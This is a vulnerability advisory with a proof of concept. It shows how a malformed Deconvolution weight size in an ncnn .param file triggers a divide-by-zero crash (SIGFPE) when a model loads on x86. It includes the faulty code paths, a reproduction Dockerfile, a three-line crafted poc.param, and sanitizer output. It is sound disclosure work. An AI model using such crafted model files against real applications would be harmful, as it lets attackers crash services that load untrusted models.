Malformed Deconvolution Weights Cause Model-Loading DoS
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/deconvolution_packed.h:31 in deconvolution_transform_kernel_packed
Sanitizer verdict: FPE on unknown address 0x5d9250662b03 (pc 0x5d9250662b03 bp 0x7ffef97b5410 sp 0x7ffef97b5010 T0)
The observed crash lands in src/mat.h:1137, which is the ISA-specialised copy of the reported code path.
Summary
An attacker who can hand ncnn a .param/.bin pair terminates the loading process with SIGFPE before any inference runs. The parameter file declares a Deconvolution layer whose weight_data_size is not a multiple of kernel_w * kernel_h * num_output; the x86 pipeline builder derives num_input with truncating integer division, so the mismatch is never noticed, and the subsequent Mat::reshape silently returns an empty matrix. Taking a channel of that empty matrix runs the 3D Mat constructor with elemsize == 0, which divides by it. The entry point in the PoC is ncnnoptimize, which calls ncnn::Net::load_model; any x86 application that loads an untrusted model reaches the same code.
Detail
The untrusted fields are the Deconvolution parameters 0 (num_output), 1/11 (kernel_w/kernel_h) and 6 (weight_data_size), all read straight out of the text .param file by Deconvolution::load_param (src/layer/deconvolution.cpp:18, :20, :34) with no cross-consistency check. Deconvolution::load_model only requires that the weight blob is non-empty, so a weight_data_size that does not factor into the declared geometry survives loading intact.
Deconvolution_x86::create_pipeline then reconstructs the missing dimension by dividing. Integer division truncates, so any weight_data_size in the half-open range that maps to the same quotient is accepted. The reconstructed shape is fed to Mat::reshape, which is a total function: on an element-count mismatch it returns a default-constructed Mat rather than signalling an error. Neither the sgemm branch nor the packed branch (deconvolution_packed.h:31) checks the result before indexing it.
// src/layer/x86/deconvolution_x86.cpp:55
const int maxk = kernel_w * kernel_h;
int num_input = weight_data_size / maxk / num_output;
// src/layer/x86/deconvolution_x86.cpp:96
Mat weight_data_r2 = weight_data.reshape(maxk, num_input, num_output);
// src/layer/x86/deconvolution_x86.cpp:110
const float* k00 = weight_data_r2.channel(q + i).row(p);
// src/layer/x86/deconvolution_packed.h:31
Mat weight_data_r2 = weight_data_transposed.reshape(maxk, num_input, num_output);
// src/mat.cpp:195
Mat Mat::reshape(int _w, int _h, int _c, Allocator* _allocator) const
{
if (w * h * d * c != _w * _h * _c)
return Mat();
// src/mat.h:1137
cstep = alignSize((size_t)w * h * elemsize, 16) / elemsize;
The PoC declares 0=2 (num_output), 1=1/11=1 (a 1x1 kernel, so maxk == 1) and 6=3 (three weight floats). num_input becomes 3 / 1 / 2 == 1. The reshape at line 96 is therefore asked for a 1 x 1 x 2 layout holding two elements while the source Mat holds three: w * h * d * c is 3, _w * _h * _c is 2, so mat.cpp:197 returns an empty Mat with data == nullptr and elemsize == 0. weight_data_r2.channel(0) at line 110 constructs a Mat from those zeroed fields, and the constructor body at mat.h:1137 evaluates alignSize(0, 16) / elemsize with elemsize == 0, raising SIGFPE and killing the process.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-deconvolution-weights-cause-model-loading-dos && cd ncnn-poc-malformed-deconvolution-weights-cause-model-loading-dos
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
1 1
Deconvolution deconv 0 1 out 0=2 1=1 6=3
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5a63c8012b03 (pc 0x5a63c8012b03 bp 0x7fff0013f2c0 sp 0x7fff0013eec0 T0)
#0 0x5a63c8012b03 in ncnn::Mat::Mat(int, int, int, void*, unsigned long, int, ncnn::Allocator*) /ncnn/src/mat.h:1137
#1 0x5a63c8012b03 in ncnn::Mat::channel(int) /ncnn/src/mat.h:1643
#2 0x5a63c8012b03 in ncnn::Deconvolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/deconvolution_x86_avx512.cpp:110
#3 0x5a63c593bc96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
#4 0x5a63c584fc34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#5 0x7bc4148c11c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x7bc4148c128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x5a63c57cf624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/mat.h:1137 in ncnn::Mat::Mat(int, int, int, void*, unsigned long, int, ncnn::Allocator*)
==1==ABORTING
Credit
Zheng Yu @ DepthFirst